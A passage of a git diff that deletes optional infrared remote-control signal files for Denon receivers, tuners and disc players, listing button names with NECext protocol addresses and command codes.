-protocol: NECext -address: 60 00 00 00 -command: 1A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/97,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/97,-1.ir deleted file mode 100644 index da6c692c9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Receiver/97,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VCR_REC_(PANEL) -type: parsed -protocol: NECext -address: 61 00 00 00 -command: 14 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Tuner/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Tuner/12,-1.ir deleted file mode 100644 index 030c40734..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Tuner/12,-1.ir +++ /dev/null @@ -1,338 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DIGITAL_DBS/BS -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 83 00 00 00 -# -name: DIGITAL_VDP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 84 00 00 00 -# -name: DIGITAL_CD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 85 00 00 00 -# -name: DIGITAL_DAT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 86 00 00 00 -# -name: A -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: B9 00 00 00 -# -name: B -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: BA 00 00 00 -# -name: C -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: BB 00 00 00 -# -name: D -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: BC 00 00 00 -# -name: E -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: BD 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: C1 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: C2 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: C3 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: C4 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: C5 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: C6 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: C7 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: C7 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: C8 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: CC 00 00 00 -# -name: SHIFT/PTY -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: CD 00 00 00 -# -name: SHIFT_PRESET_BANK -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: CD 00 00 00 -# -name: RDS -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D2 00 00 00 -# -name: CT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D3 00 00 00 -# -name: PTY -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D4 00 00 00 -# -name: TUNER_CH_V -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D5 00 00 00 -# -name: CH_DN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D5 00 00 00 -# -name: PRESET_CH_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D5 00 00 00 -# -name: PRESET_CH_V -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D5 00 00 00 -# -name: TUNER_CH_^ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D6 00 00 00 -# -name: CH_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D6 00 00 00 -# -name: PRESET_CH_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D6 00 00 00 -# -name: PRESET_CH_^ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D6 00 00 00 -# -name: TUNER_BAND -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D7 00 00 00 -# -name: BAND -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D7 00 00 00 -# -name: TUNER_AT/MANU -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D8 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D8 00 00 00 -# -name: AUTO/MANUAL -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D8 00 00 00 -# -name: AUTO_MUTE/MANU -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D8 00 00 00 -# -name: TUNER_TUNE_^ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D9 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D9 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D9 00 00 00 -# -name: TUNING_^ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D9 00 00 00 -# -name: TUNER_TUNE_V -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: DA 00 00 00 -# -name: TUNE_DN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: DA 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: DA 00 00 00 -# -name: TUNING_V -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: DA 00 00 00 -# -name: TUNER_RF -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: DB 00 00 00 -# -name: RF_ATT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: DB 00 00 00 -# -name: TUNER_P.SCAN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: DC 00 00 00 -# -name: P.SCAN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: DC 00 00 00 -# -name: TUNER_POWER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: DD 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: DD 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: DE 00 00 00 -# -name: PANEL -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: DE 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: DF 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: F9 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Tuner/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Tuner/2,-1.ir deleted file mode 100644 index 0463d5f36..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Tuner/2,-1.ir +++ /dev/null @@ -1,86 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C4 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C5 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C6 00 00 00 -# -name: DBS/BS -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C8 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C9 00 00 00 -# -name: VDP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CA 00 00 00 -# -name: V.AUX -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CC 00 00 00 -# -name: VCR-1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CD 00 00 00 -# -name: VCR-2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CE 00 00 00 -# -name: TAPE-1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: D2 00 00 00 -# -name: DAT/TAPE-2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: D3 00 00 00 -# -name: MUTING -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F0 00 00 00 -# -name: MASTER_^ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F1 00 00 00 -# -name: MASTER_V -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F2 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown/176,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown/176,0.ir deleted file mode 100644 index 21d82c08f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown/176,0.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP_[] -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 00 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 01 00 00 00 -# -name: STILL/PAUSE_>< -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 06 00 00 00 -# -name: SLOW_< -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 07 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 0A 00 00 00 -# -name: SLOW_> -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 0F 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 10 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 11 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 12 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 13 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 14 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 15 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 16 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 17 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 18 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 19 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 33 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 3D 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 48 00 00 00 -# -name: SKIP/SEARCH_<< -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 49 00 00 00 -# -name: SKIP/SEARCH_>> -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 4A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 80 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 81 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 82 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 83 00 00 00 -# -name: CURSOR_^ -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 85 00 00 00 -# -name: CURSOR_V -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 86 00 00 00 -# -name: CURSOR_< -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 87 00 00 00 -# -name: CURSOR_> -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 88 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 8C 00 00 00 -# -name: PLAY_MODE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 8D 00 00 00 -# -name: MARKER -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 8E 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 90 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 91 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 92 00 00 00 -# -name: OFF/ON -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 93 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 94 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 9B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_Denon/91,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_Denon/91,-1.ir deleted file mode 100644 index 1a8f7db87..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_Denon/91,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 00 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 02 00 00 00 -# -name: Remain -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 03 00 00 00 -# -name: A.Edit -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 04 00 00 00 -# -name: Tuner_Band -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 07 00 00 00 -# -name: Tape_1/2 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 09 00 00 00 -# -name: P.Mode -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 0B 00 00 00 -# -name: EQ_Pattern -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 11 00 00 00 -# -name: CD_Play -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 12 00 00 00 -# -name: CD_Stop -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 13 00 00 00 -# -name: Skip_Forward -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 14 00 00 00 -# -name: Skip_Backward -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 15 00 00 00 -# -name: Prog -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 16 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 17 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 18 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 19 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 1A 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 1B 00 00 00 -# -name: Fast_Rewind -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 1C 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 1D 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 1F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 4D 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 4E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 4F 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 50 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 51 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 52 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 53 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 54 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 55 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 56 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 57 00 00 00 -# -name: Random -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 5A 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 5B 00 00 00 -# -name: Disc -type: parsed -protocol: NECext -address: 5B 00 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-220/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-220/8,-1.ir deleted file mode 100644 index eac25661a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-220/8,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 42 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 43 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 44 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 45 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 46 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 47 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 48 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 49 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4B 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4C 00 00 00 -# -name: program -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4F 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 50 00 00 00 -# -name: call -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 52 00 00 00 -# -name: rep_all -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 54 00 00 00 -# -name: rep_a-b -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 55 00 00 00 -# -name: direct -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 57 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 58 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 59 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5A 00 00 00 -# -name: bwd -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5B 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5D 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-224/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-224/8,-1.ir deleted file mode 100644 index 4ab842fb0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-224/8,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 41 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 42 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 43 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 44 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 45 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 46 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 47 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 48 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 49 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4A 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4C 00 00 00 -# -name: prog -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4F 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 50 00 00 00 -# -name: call -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 52 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 54 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 58 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 59 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5A 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5B 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5D 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5E 00 00 00 -# -name: random -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 6A 00 00 00 -# -name: fader -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 76 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-241/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-241/8,-1.ir deleted file mode 100644 index 9160c42de..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-241/8,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 42 00 00 00 -# -name: prog -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 43 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 43 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 44 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 45 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 46 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 47 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 48 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 49 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4B 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 4F 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 50 00 00 00 -# -name: call -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 52 00 00 00 -# -name: all -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 54 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 55 00 00 00 -# -name: direct -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 57 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 58 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 59 00 00 00 -# -name: wind -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5A 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5B 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5D 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 5E 00 00 00 -# -name: a_space -type: parsed -protocol: NECext -address: 08 00 00 00 -command: 61 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-541/176,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-541/176,0.ir deleted file mode 100644 index 47a2cf420..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Unknown_RC-541/176,0.ir +++ /dev/null @@ -1,236 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 00 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 01 00 00 00 -# -name: Rev -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 04 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 05 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 06 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 0A 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 17 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 18 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 19 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 33 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 3D 00 00 00 -# -name: A-B_Repeat -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 48 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 49 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 4A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 80 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 81 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 82 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 83 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 85 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 86 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 87 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 88 00 00 00 -# -name: >=10 -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 89 00 00 00 -# -name: RepeatMode -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 8C 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 8D 00 00 00 -# -name: Marker -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 8E 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 90 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 91 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: B0 00 00 00 -command: 92 00 00 00 -# 